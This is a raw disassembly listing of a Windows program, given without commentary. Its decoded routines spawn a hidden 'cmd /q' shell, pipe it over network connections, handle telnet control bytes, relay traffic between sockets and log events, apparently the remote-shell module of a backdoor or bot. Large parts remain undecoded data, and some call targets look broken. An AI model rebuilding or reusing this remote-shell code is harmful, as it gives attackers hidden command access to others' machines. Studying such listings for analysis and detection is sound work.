0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0FA3FE850h, 8B900225h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 0F975E832h, 0EB900225h, 0B9E890EDh, 500226F3h, 43422468h dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2680000h push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 2680000h nop push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 2680DC8h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call near ptr 277032Fh nop sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2680000h push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 2680DC8h push 1 push dword ptr [esi+8] nop call near ptr 26F0B2Fh loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 nop call near ptr 2680000h push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 2680000h push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2700000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2650BFCh test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 265092Ah jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2680000h push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 27703C3h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26E0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 25F330E8h dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225F267h, 90EDEB90h dd 26ECABE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 2BE96BE8h db 2, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0EDC9E800h dd 39900225h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0ED01E890h, 8DFF0225h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 0E8000001h, 225ECCFh, 858D5390h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2BE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h dd 3E8h, 0E9ADE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 27704B0h lea eax, [ebp-114h] push 104h push eax nop call near ptr 2670000h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 5CE89008h, 0FF0225E8h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E84h, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh 